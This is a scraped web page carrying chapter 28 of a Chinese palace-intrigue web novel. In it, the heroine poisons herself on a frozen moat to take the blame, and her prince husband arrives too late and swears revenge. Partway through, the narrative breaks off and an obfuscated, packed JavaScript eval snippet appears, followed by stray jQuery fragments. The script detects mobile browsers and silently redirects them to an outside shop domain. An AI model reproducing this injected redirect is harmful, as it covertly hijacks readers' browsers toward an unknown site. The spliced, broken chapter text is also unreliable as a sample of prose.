文趣网 > 其他小说 > 殿下又来讨债了 > 28. 他来迟一步
    今日大寒,这是檐口滴水都成冰的时节。

    风声在耳边呼啸,长发打在颊上,跟鞭子似的生疼。白翎顾不得这些,一口气跑到护城河,水域中的冰一直冻到水中央,又厚又实。

    不时可见孩童在上面嬉笑着溜冰,本是欢喜迎新的祥和画面,却随着利箭毫无征兆地射来,打破了这一切。尖叫哭嚎声四起,孩童们手脚并用地爬向冰河岸边,唯有白翎还在不停向前跑着。

    脚下滑得要命,她一骨碌摔在地上,胳膊和腿都散架似了的。

    锦盒滚了出来,在冰面上滑出好几步路。

    挣扎着往前爬,手指在触到锦盒时,有箭从后背射来,钉在她掌边,擦掉了她一片皮。

    身体又往后滑了些。

    可她像根本感觉不到痛似的,睁大着眼看不远处的锦盒,颤颤巍巍地探着手。

    “你不要命了!”绯色身影旋风般袭来,将所有箭尽数挡下。

    数十个箭尖扎在冰面,将成片的冰戳出了数个小洞,底下隐隐传来“咔咔”的声音。

    只是冰上喧嚣震天,无人察觉。

    “我带你走。”霍飞羽一把抓住白翎,试图将她带走,可是冰面太滑,连他都差点没站稳,加上这个女人不知怎么回事,魔怔似的盯着那个锦盒,根本不肯走。

    “再不走就死在这里了!”他忍无可忍,吼了她一声。

    “我要那锦盒,你帮我捡一下……”白翎拉着霍飞羽衣角,脸白成了纸片,可眼里神色却甚是坚定。

    他忍住要翻白眼的冲动,将锦盒甩了过来。

    盒子一开,他愣住了。

    “这是……?”

    这是霍家的东西,他认得。

    可是这东西,怎么会在这女人手里?她要做什么?

    他声音颤抖:“你别做傻事!”

    白翎站了起来,低头看了眼手里的锦盒。

    确切地说,她目光停留在盒中那个冰蓝色的珠子。

    此珠名为生死丹。

    一丹定生死。

    将岸边虎视眈眈的人群环视一圈,她朗声开口。

    “诸位,在下白翎,白氏镖局总镖头,先前是我多有得罪,我一心求财,本想借着诸位之手敛财生财,并未想刻意窥探大家秘密,没想到给你们带来误解和困扰。”

    “镖局所有往来,都在我一人授意之下,我那位夫君并不知情。”

    “就连我嫁入渊王府,也不过是为了一个钱字,唯有成了九皇妃,才有钱建镖局,才能与诸位攀上交情,将镖局生意越滚越大。”

    “我知道你们心有怨恨,要将我置之于死地。一人做事一人当,我愿以死认罚。”

    说完,她不顾对面那些人各种神色,将生死丹一口放入嘴里。

    “白翎!你疯了!我明明可以带你走的!你信不过我吗?我一人一剑就能杀出去!”霍飞羽紧紧捏着身侧之人的肩膀,不敢置信地看着空空如也的锦盒。

    “霍飞羽,你能来,就太好了。”她眼皮子渐渐垂下,声音越来越细,“带我走。”

    嘴角溢出一口黑血,手垂了下来。

    天开始亮了,密布阴云间裂出了一道缝隙,日光从里泻下,照在长街一辆金辂马车,映得那顶金灿灿的,折着明媚流光。

    这是宫里出来的车,帘子掀起,窗口一双漆黑深目将沿路景致来回看着。

    街口的包子铺冒着热腾腾的雾气,风一吹,有股肉香,看来这新出的一笼是肉包。

    边上卖馄饨的那个老人,调的汤底格外鲜,除了虾米葱花还有猪油渣,叫人忍不住将碗都舔了。

    再过去是花铺,这个季节的花不好打理,但那卖花姑娘总有法子,连叶子都不会耷拉。

    ——都是白翎喜欢的。

    他本想下车买一些,但想到她还在府里等着,不由放下帘子,叫车夫快些。

    答应了去去就回的,他怕她等急了。

    手里来回转着一个扳指,他盯着里头那个“翎”字,想起进宫时父皇说过的话。

    “渊儿,你那位夫人,有空时一起带来坐坐。上回秋猎,隔着老远,朕看不清。”父皇声音苍老,虚弱地躺在帷幕重重的房间内。

    药味和熏香味交织,他进去的时候间歇咳了两声。

    本以为是问罪的,没想到进的不是大殿,而是父皇寝间。

    “是,儿臣疏忽了,下次定带夫人进宫一趟。”

    “朕记得你很多年前就搬出了宫,独自住在渊王府,这些年想来很是辛苦。如今娶妻有了伴,朕很是欣慰。”

    “回父皇,是八年。儿臣离宫,已有八年。”

    “你倒是记得清楚。八年,人生最繁盛的时光能有几个八年?可这些年,我们父子鲜少见面。你从孩童长成如今模样,似乎就在一夕。”

    谢临渊垂下了目。他听得床榻之人长吁短叹,心中不住疑惑。这一趟进宫,只是为了叙旧?

    还是山雨欲来前的平静?

    “父皇,那信的事情,儿臣愿意解释。”

    “儿臣从未与赤灵族使臣私通,对所谓信件毫不知情。”

    “想来是有人在背后蓄意栽赃,让父皇对儿臣心生怀疑和厌恶。”

    室内陷入了片刻的沉寂。

    苍老叹息响起:“怀疑和厌恶?是了,这天底下的人恐怕都这样以为。因为你的母亲,因为你半身的前朝血脉,注定是不得宠的皇子。恐怕连你自己,都这样想吧?”

    “儿臣不敢。”

    “渊儿,你这名字是朕起的。临渊者,战战兢兢,如履薄冰,如此方可问道登顶也。”

    谢临渊猛地抬头:“父皇?”

    这话是何意?他不懂。

    帷幕中,垂下一只枯瘦嶙峋的手,轻轻挥了挥。

    “我没能护住你娘,他日下了九泉,我自会向她解释。”他不再自称“朕”。

    “至于你,我得护住。”

    “你走吧。别忘了带你那位小娇妻来宫里坐坐,也别让我等太久了。”

    他怔忪而退。离了寝殿,离了宫墙,一路不停。

    直到走出很久,一口气才缓过来。

    难以置信地摇了摇头,他忽然想起了什么,面上终于露出久违的笑意,催着宫外等着的马车快走。

    再后来,马过长街,他还是嫌马太慢,索性借了路边的马,纵马驰着。

    风被他带在身后,还是那么冷,可是胸口火热,马儿越跑越快。

    直到渊王府门口。

    他愣住了。

    大门怎么破了个洞?

    墙头为何有数道踩碎的砖瓦?

    院里地上的乱箭,又是从哪里来的?

    这还是他的渊王府吗?

    “殿下,您可算是来了……”下人从里屋奔来,还没靠近就整个人跪了下来,脑袋伏在地面。

    “怎么回事?你们娘娘呢?”</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704242|207494||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    “回殿下,您前脚刚进宫,就有不少人杀过来了。娘娘她……逃走了。”

    谢临渊一言不发,转头再次上马。

    这一次,马踏声铛铛回荡长街街头,惊得路边花铺的叶子都在颤抖中掉了下来。

    护城河的冰面,早没了洁白无尘的模样。裂纹愈发多了,放眼望去,四处都是窟窿。乱箭丢在上面,交错淌着,像澄澈画布上的乱笔。

    岸边人还在,但冰面上的人影已经没了。

    唯有一道黑红色的血渍留在上面,显得触目惊心。

    谢临渊翻身下马,脸上神色比此地冰河还寒。

    他一步步走到冰面中央,不顾脚下裂缝发出咔咔的危险声响。

    血渍边上,还有一点翠色。

    在日光照耀和冰面反射中,显得璀璨生辉。

    通体晶莹的翠玉内侧,刻着一个字。渊。

    那字与他静默对视,紧紧攥住了他心。

    他将那枚扳指紧紧攥在掌心,指节发白。再松开时,掌心已经硌出了红痕。

    重新回到岸边,他最后瞥了眼冰面上的血渍,冷冷扫着那些惊疑的面孔,将他们一一记住了。

    “尔等听着,杀妻之仇不共戴天。”

    纵身跃马,孤瘦背影迅速消失在众人眼里,与天边尚来不及被金辉映染的苍幕融在了一起。

    九皇妃身死的消息传来时,二皇子谢临轩正在摄政王府赏花。

    院里开了迎春,色呈金黄,形似喇叭,乃是报春之花。

    他抚掌大笑:“皇叔,那女人死了,渊王府等若断了条胳膊,再难成气候。”

    “渊王府的主人姓谢,你莫将老九忘了。”

    “他?一个闲散皇子能成什么事?他进了宫,这么久才出来,定被父皇狠狠责罚了。”

    谢临轩说得兴起,没注意到皇叔正盯着自己手腕看,眼神有些怪怪的。

    那截手腕上,有串玛瑙红的耀眼。

    “皇叔,接下来是何打算?渊王府已不足为患,我们得多盯着点霍老头。他要推互市令,可不能……”

    话没说完,被谢崇光打断了。

    “老二,你先回吧。之后的事我自有安排。”

    谢崇光目光从老二笑意盈盈的脸上挪开,在他走之后,独自一人坐在院里。

    一个绣球滚到了脚边。

    容颜秀丽的女人一把抱住了静默高大的身影,娇声娇气地说着:“王爷,您陪妾身玩一会儿绣球吧。”

    如果谢临渊奶娘在这里,她一定能认出来,眼前这个摄政王府的八侧妃,与当年她侍奉的主子有几分像。

    但只是某些神态罢了。说到底,是两张脸,两个人。

    谢崇光脸上没什么表情,扯下了八侧妃的手。

    “你要玩,本王便陪你玩个够。只是有个条件,你得戴上本王送你的玛瑙才行。”

    八侧妃色变,腿软得跌坐在地上:“王爷,那玛瑙……妾身不慎丢了。”

    “那是宫里赏的东西,本王转送给你,这也敢弄丢?到底是丢了还是送人了?”

    她吓得浑身发抖,抱着谢崇光的腿长跪不起。

    他站起,踢了身边之人一脚。就像踢小猫小狗似的。

    当夜,摄政王府亮起了白灯笼。众人听闻府里某个侧妃急病,没挨过子时。

    可是坊间不时有传闻出现,说是那位侧妃与二皇子有染,被发现了,这才受死了。